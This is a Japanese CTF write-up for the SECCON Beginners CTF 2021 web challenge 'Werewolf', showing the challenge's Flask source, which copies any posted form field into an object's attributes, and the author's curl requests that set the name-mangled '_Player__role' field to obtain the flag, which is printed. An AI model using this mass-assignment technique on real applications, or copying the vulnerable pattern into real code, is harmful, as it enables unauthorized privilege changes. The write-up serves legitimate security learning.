SECCON Beginners CTFと本記事について
2021年5月22日と2021年5月23日に開催された「SECCON Beginners CTF 2021」の「web」の「Werewolf」問題について、解きましたので、手順を詳細に記載します。
web(Werewolf)
以下の問題文に記載がありますが、提供されたファイルをヒントにして、Webサイトで操作したらフラグが表示されると思われます。
WebサイトのURLにアクセスすると、以下の画面が表示されます。
テキストボックスにデータを入力して、送信すると以下の画面が表示されます。
提供されたファイルは以下の通りです。
import os
import random
from flask import Flask, render_template, request, session
# ====================
app = Flask(__name__)
app.FLAG = os.getenv("CTF4B_FLAG")
# ====================
class Player:
def __init__(self):
self.name = None
self.color = None
self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
# :-)
# self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF'])
@property
def role(self):
return self.__role
# :-)
# @role.setter
# def role(self, role):
# self.__role = role
# ====================
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == 'GET':
return render_template('index.html')
if request.method == 'POST':
player = Player()
for k, v in request.form.items():
player.__dict__[k] = v
return render_template('result.html',
name=player.name,
color=player.color,
role=player.role,
flag=app.FLAG if player.role == 'WEREWOLF' else ''
)
# ====================
if __name__ == '__main__':
app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT"))
「player.role == ‘WEREWOLF’」の時にフラグが表示されることが分かりますが、ランダムで「self.__role = random.choice([中略])」に「WEREWOLF」がないため、何回データを送信してもフラグが表示されません。
そのため、送信するデータを工夫して、roleを「WEREWOLF」にする必要があります。
以下の箇所で送信したデータを変数に入れて、roleが「WEREWOLF」であるかどうかを判定しています。
for k, v in request.form.items():
player.__dict__[k] = v
return render_template('result.html',
name=player.name,
color=player.color,
role=player.role,
flag=app.FLAG if player.role == 'WEREWOLF' else ''
)
roleを「WEREWOLF」にするためにcurlコマンドにて以下のデータを送信しましたが、nameとcolorは設定されていますが、__roleが設定されていないみたいです。
変数 | 送信するデータ |
---|---|
name | name123 |
color | navy |
__role | WEREWOLF |
$ curl "https://werewolf.quals.beginners.seccon.jp/" --data-raw "name=name123&color=navy&__role=WEREWOLF"
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Werewolf</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.2/css/bulma.min.css">
<script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script>
</head>
<body>
<section class="hero is-dark">
<div class="hero-body">
<div class="container">
<h1 class="title">
Werewolf
</h1>
</div>
</div>
</section>
<section class="section">
<div class="container">
<div class="columns is-centered">
<div class="column is-half">
<h1 class="title">
name123, you are
<span style="color: navy">
VILLAGER
</span>
.
</h1>
<p>You could not be a werewolf... try again!</p>
<img src="static/VILLAGER.png" style="width: 40%" />
</div>
</div>
</div>
</section>
</body>
何が違うか分かりませんので、提供されたファイルを少し変更してどのようなデータが表示されているか確認しました。
【プログラムの内容】
import os
import random
class Player:
def __init__(self):
self.name = None
self.color = None
self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN'])
@property
def role(self):
return self.__role
player = Player()
request = {'name': 'aaa',
'color': 'red',
'__role': 'WEREWOLF'}
for k, v in request.items():
player.__dict__[k] = v
print(player.__dict__)
print(player.name, player.color, player.role)
【実行結果】
$ python test.py 2 ?
{'color': 'red', '__role': 'WEREWOLF', 'name': 'aaa', '_Player__role': 'FORTUNE_TELLER'}
('aaa', 'red', 'FORTUNE_TELLER')
上記の結果から、roleは「__role」ではなく「_Player__role」になっていることが分かりました。
そのため、curlコマンドで以下のデータを送信して、フラグ(ctf4b{there_are_so_many_hackers_among_us})が表示されました。
変数 | 送信するデータ |
---|---|
name | name123 |
color | navy |
_Player__role | WEREWOLF |
$ curl "https://werewolf.quals.beginners.seccon.jp/" --data-raw "name=name123&color=navy&_Player__role=WEREWOLF"
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Werewolf</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bulma/0.7.2/css/bulma.min.css">
<script defer src="https://use.fontawesome.com/releases/v5.3.1/js/all.js"></script>
</head>
<body>
<section class="hero is-dark">
<div class="hero-body">
<div class="container">
<h1 class="title">
Werewolf
</h1>
</div>
</div>
</section>
<section class="section">
<div class="container">
<div class="columns is-centered">
<div class="column is-half">
<h1 class="title">
name123, you are
<span style="color: navy">
WEREWOLF
</span>
.
</h1>
<p id="flag">ctf4b{there_are_so_many_hackers_among_us}</p>
<img src="static/WEREWOLF.png" style="width: 40%" />
</div>
</div>
</div>
</section>
</body>
SECCON Beginners CTF 2021に関する記事
SECCON Beginners CTF 2021についての関連記事は以下の通りです。
必要に応じて、ご確認ください。
No | タイトル | 記事の概要 |
---|---|---|
1 | SECCON Beginners CTF 2021 writeup | 以下のカテゴリの問題のwriteupを記載します。 【カテゴリ:welcome】 ・welcome 【カテゴリ:crypto】 ・imple_RSA 【カテゴリ:reversing】 ・only_read ・children 【カテゴリ:pwnable】 ・rewriter 【カテゴリ:web】 ・osoba 【カテゴリ:misc】 ・git-leak ・Mail_Address_Validator |
2 | SECCON Beginners CTF 2021 writeup (crypto:simple_RSA) | cryptカテゴリのsimple_RSAの問題の writeupを記載します。 |
3 | SECCON Beginners CTF 2021 writeup (crypto:Logical_SEESAW) | cryptカテゴリのLogical_SEESAWの問題の writeupを記載します。 |
4 | SECCON Beginners CTF 2021 writeup (crypto:GFM) | cryptカテゴリのGFMの問題の writeupを記載します。 |
5 | SECCON Beginners CTF 2021 writeup (crypto:Imaginary) | cryptカテゴリのImaginaryの問題の writeupを記載します。 |
6 | SECCON Beginners CTF 2021 writeup (web:Werewolf) | webカテゴリのWerewolfの問題の writeupを記載します。 |
7 | SECCON Beginners CTF 2021 writeup (web:check_url) | webカテゴリのcheck_urlの問題の writeupを記載します。 |
8 | SECCON Beginners CTF 2021 writeup (web:json) | webカテゴリのjsonの問題の writeupを記載します。 |
9 | SECCON Beginners CTF 2021 writeup (web:cant_use_db) | webカテゴリのcant_use_dbの問題の writeupを記載します。 |